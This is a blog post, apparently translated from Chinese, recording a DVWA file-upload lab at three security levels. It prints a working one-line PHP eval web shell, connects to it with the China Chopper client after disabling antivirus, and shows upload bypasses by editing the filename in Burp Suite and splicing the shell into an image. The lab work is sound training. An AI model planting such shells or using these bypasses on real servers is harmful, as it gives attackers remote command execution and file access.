当前位置:网站首页>DVWA exercise 05 file upload file upload
DVWA exercise 05 file upload file upload
2022-07-06 14:47:00 【Fuki is on the way】

Purpose IP:192.168.142.133
Local IP:192.168.142.134
1.Security Level:Low
The code is as follows

The server did not check and process the uploaded files . I try to create a new one locally muma.php, Write a word Trojan :<?php @eval($_POST['test']);?>
( Pay attention to punctuation in English )

Upload files to dvwa

Return the path where the file was uploaded !

Go to the corresponding folder to find the file

Before connecting with a Chinese kitchen knife , There is a question . The new version of the phpstudy By default php7, Chinese kitchen knife connection failed , Switch to php5 That's it .( After changing the version , my dvwa Something went wrong , I had to repack it )

Open the Chinese kitchen knife , Right click , add to .
Address to fill in http://192.168.142.133/dvwa/hackable/uploads/muma.php
On the right is a sentence in single quotation marks
Script type selection PHP(Eval)

Right click , Virtual terminal

Input ipconfig, Check address information , But the display failed .

The target virtual machine is installed 360, A warning window will pop up when entering the system command , Default block .

hold 360 Turn it off and try again , Command executed successfully !

You can also use the file management function , View the files of the entire virtual machine , At the same time, it can upload / download / Delete and other operations .

2.Security Level:Medium
Key source code :

The upload file type restricted here is image, extension jpeg or png, And the size is smaller than 100000 byte . We can use burpsuite Modify after interception , Bypass restrictions .
Local muma.php Rename it to muma2.png

Click upload ,Burpsuite Intercept the packet , Put the filename muma2.png It is amended as follows muma2.php, Then release .

Go to the target virtual machine to view muma2.php Successfully uploaded !

3.Security Level:High
The key source code is as follows :

strrpos(string,find,start) Function return string find In another string string The last place in , If no string is found, return false, Optional parameters start Specify where to start the search .
getimagesize(string filename) The function will read the file header , Returns the length of the picture 、 Wide and so on , If there is no relevant picture file header , The function will report an error . You can see ,High Level code reads the last in the file name ”.” String after , Expect to restrict file types by file names , Therefore, the upload file name must be in the form of ”*.jpg”、”*.jpeg” 、”*.png” One of . meanwhile ,getimagesize The function also limits that the file header of the uploaded file must be of image type .
Splice a picture with the previous sentence Trojan horse file , Form a new picture .

Open the picture with Notepad , You can see a sentence at the end of the Trojan horse .

Upload succeeded , But it can't be connected with a kitchen knife . I didn't think of a solution for the time being .

Reference resources :https://www.cnblogs.com/N0r4h/p/12257848.html
https://blog.csdn.net/weixin_39190897/article/details/86772765
边栏推荐
- Fundamentals of digital circuit (IV) data distributor, data selector and numerical comparator
- 《统计学》第八版贾俊平第十三章时间序列分析和预测知识点总结及课后习题答案
- [pointer] find the value of the largest element in the two-dimensional array
- Using flask_ Whooshalchemyplus Jieba realizes global search of flask
- [pointer] octal to decimal
- XSS (cross site scripting attack) for security interview
- 数字电路基础(一)数制与码制
- What is the transaction of MySQL? What is dirty reading and what is unreal reading? Not repeatable?
- 《统计学》第八版贾俊平第九章分类数据分析知识点总结及课后习题答案
- Keil5 MDK's formatting code tool and adding shortcuts
猜你喜欢

王爽汇编语言学习详细笔记一:基础知识

“Hello IC World”

Statistics 8th Edition Jia Junping Chapter IX summary of knowledge points of classified data analysis and answers to exercises after class

JDBC transactions, batch processing, and connection pooling (super detailed)

《统计学》第八版贾俊平第七章知识点总结及课后习题答案

JVM memory model concept

Fundamentals of digital circuits (II) logic algebra

Statistics 8th Edition Jia Junping Chapter 12 summary of knowledge points of multiple linear regression and answers to exercises after class
![New version of postman flows [introductory teaching chapter 01 send request]](/img/0f/a41a39093a1170cc3f62075fd76182.jpg)
New version of postman flows [introductory teaching chapter 01 send request]

Wu Enda's latest interview! Data centric reasons
随机推荐
c语言学习总结(上)(更新中)
《统计学》第八版贾俊平第六章统计量及抽样分布知识点总结及课后习题答案
Always of SystemVerilog usage_ comb 、always_ iff
《统计学》第八版贾俊平第十二章多元线性回归知识点总结及课后习题答案
Function: find 1-1/2+1/3-1/4+1/5-1/6+1/7-... +1/n
How does SQLite count the data that meets another condition under the data that has been classified once
Transplant hummingbird e203 core to Da Vinci pro35t [Jichuang xinlai risc-v Cup] (I)
数字电路基础(一)数制与码制
Statistics 8th Edition Jia Junping Chapter 4 Summary and after class exercise answers
指针--剔除字符串中的所有数字
数据库多表链接的查询方式
C language learning summary (I) (under update)
Pointer -- eliminate all numbers in the string
《统计学》第八版贾俊平第五章概率与概率分布
Statistics, 8th Edition, Jia Junping, Chapter 6 Summary of knowledge points of statistics and sampling distribution and answers to exercises after class
Fire! One day transferred to go engineer, not fire handstand sing Conquest (in serial)
Network technology related topics
Statistics 8th Edition Jia Junping Chapter 12 summary of knowledge points of multiple linear regression and answers to exercises after class
关于超星脚本出现乱码问题
Pointer -- output all characters in the string in reverse order